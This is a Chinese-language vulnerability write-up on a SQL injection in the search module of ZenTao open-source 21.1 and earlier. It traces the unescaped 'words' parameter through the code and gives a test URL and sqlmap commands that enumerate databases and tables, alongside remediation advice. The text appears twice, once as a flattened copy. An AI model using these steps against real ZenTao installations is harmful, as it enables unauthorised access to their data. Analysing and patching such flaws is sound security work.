禅道CMS开源版SQL注入漏洞分析
字数 1001 2025-08-22 12:23:06

禅道CMS开源版SQL注入漏洞分析与利用教学

1. 漏洞概述

禅道CMS开源版21.1及以下版本存在SQL注入漏洞,该漏洞位于搜索功能模块,由于对用户输入的words参数未进行充分过滤和转义,导致攻击者可以构造恶意输入执行SQL注入攻击。

2. 受影响版本

  • 禅道CMS开源版21.1及以下所有版本

3. 漏洞验证URL

http://[目标IP]/index.php?m=search&f=index&words=[注入点]&type=all&zin=1

4. 漏洞定位与分析

4.1 漏洞触发点

漏洞主要存在于以下三个文件中:

  1. module/search/control.php
  2. model.php
  3. module/search/tao.php

4.2 代码审计分析

4.2.1 控制层 (control.php)

index方法中,words参数被直接传递给getList方法:

public function index()
{
    $words = $this->get->words;
    // ...
    $this->app->loadLang('search');
    $this->search->getList($words, $pager);
}

4.2.2 模型层 (model.php)

getList方法将keywords参数传递给getSqlParams方法:

public function getList($keywords, $pager)
{
    // ...
    $sqlParams = $this->getSqlParams($keywords);
    // ...
}

4.2.3 SQL参数处理 (tao.php)

getSqlParams方法中存在漏洞:

protected function getSqlParams($keywords)
{
    // ...
    $againstCond = '';
    foreach($words as $word)
    {
        $againstCond .= "+" . $word . " ";
    }
    
    $likeCondition = "LIKE '%$keywords%'";
    // ...
}

漏洞成因

  1. $againstCond直接拼接用户输入的$word,未进行过滤
  2. $likeCondition直接将$keywords插入SQL语句,未进行转义
  3. 当输入包含单引号等特殊字符时,会破坏SQL语句结构

5. 漏洞验证与复现

5.1 手动验证

  1. 访问漏洞URL,在words参数中输入单引号('):
    http://192.168.88.9/index.php?m=search&f=index&words='&type=all&zin=1
    
  2. 观察页面是否返回数据库错误信息

5.2 使用SQLMap自动化测试

  1. 抓取正常搜索请求数据包,保存为1.txt
  2. words参数值前后添加*标记注入点
  3. 执行以下命令:
python sqlmap.py -r 1.txt --level=5 --risk=3 --threads=10 --dbms=mysql
  1. 验证漏洞存在后,可进一步利用:
    python sqlmap.py -r 1.txt --dbs  # 查询数据库
    python sqlmap.py -r 1.txt --current-db  # 查询当前数据库
    python sqlmap.py -r 1.txt -D [数据库名] --tables  # 查询表
    

6. 漏洞修复建议

  1. 对所有用户输入进行严格的过滤和转义
  2. 使用参数化查询或预处理语句
  3. 升级到最新版本的禅道CMS
  4. 具体修复代码示例:
// 使用PDO预处理语句替代直接拼接
$stmt = $pdo->prepare("SELECT * FROM table WHERE field LIKE :keywords");
$stmt->execute([':keywords' => '%' . $keywords . '%']);

// 或者至少进行转义
$keywords = $this->dbh->quote($keywords);
$likeCondition = "LIKE " . $keywords;

7. 补充说明

  1. 该漏洞属于盲注类型,可能需要使用时间延迟等技术确认
  2. 漏洞利用需要用户具有搜索权限
  3. 实际环境中可能需要根据目标配置调整注入语句

8. 参考链接


这篇文档涵盖了漏洞的各个方面,包括漏洞描述、影响版本、漏洞分析、复现步骤和修复建议,关键点均已包含且没有无关描述。如需进一步了解某些细节,可以针对特定部分进行深入探讨。

禅道CMS开源版SQL注入漏洞分析与利用教学 1. 漏洞概述 禅道CMS开源版21.1及以下版本存在SQL注入漏洞,该漏洞位于搜索功能模块,由于对用户输入的 words 参数未进行充分过滤和转义,导致攻击者可以构造恶意输入执行SQL注入攻击。 2. 受影响版本 禅道CMS开源版21.1及以下所有版本 3. 漏洞验证URL 4. 漏洞定位与分析 4.1 漏洞触发点 漏洞主要存在于以下三个文件中: module/search/control.php model.php module/search/tao.php 4.2 代码审计分析 4.2.1 控制层 (control.php) 在 index 方法中, words 参数被直接传递给 getList 方法: 4.2.2 模型层 (model.php) getList 方法将 keywords 参数传递给 getSqlParams 方法: 4.2.3 SQL参数处理 (tao.php) getSqlParams 方法中存在漏洞: 漏洞成因 : $againstCond 直接拼接用户输入的 $word ,未进行过滤 $likeCondition 直接将 $keywords 插入SQL语句,未进行转义 当输入包含单引号等特殊字符时,会破坏SQL语句结构 5. 漏洞验证与复现 5.1 手动验证 访问漏洞URL,在 words 参数中输入单引号( ' ): 观察页面是否返回数据库错误信息 5.2 使用SQLMap自动化测试 抓取正常搜索请求数据包,保存为 1.txt 在 words 参数值前后添加 * 标记注入点 执行以下命令: 验证漏洞存在后,可进一步利用: 6. 漏洞修复建议 对所有用户输入进行严格的过滤和转义 使用参数化查询或预处理语句 升级到最新版本的禅道CMS 具体修复代码示例: 7. 补充说明 该漏洞属于盲注类型,可能需要使用时间延迟等技术确认 漏洞利用需要用户具有搜索权限 实际环境中可能需要根据目标配置调整注入语句 8. 参考链接 禅道官网: https://www.zentao.net/ 漏洞原文: 禅道CMS开源版SQL注入漏洞分析-先知社区 这篇文档涵盖了漏洞的各个方面,包括漏洞描述、影响版本、漏洞分析、复现步骤和修复建议,关键点均已包含且没有无关描述。如需进一步了解某些细节,可以针对特定部分进行深入探讨。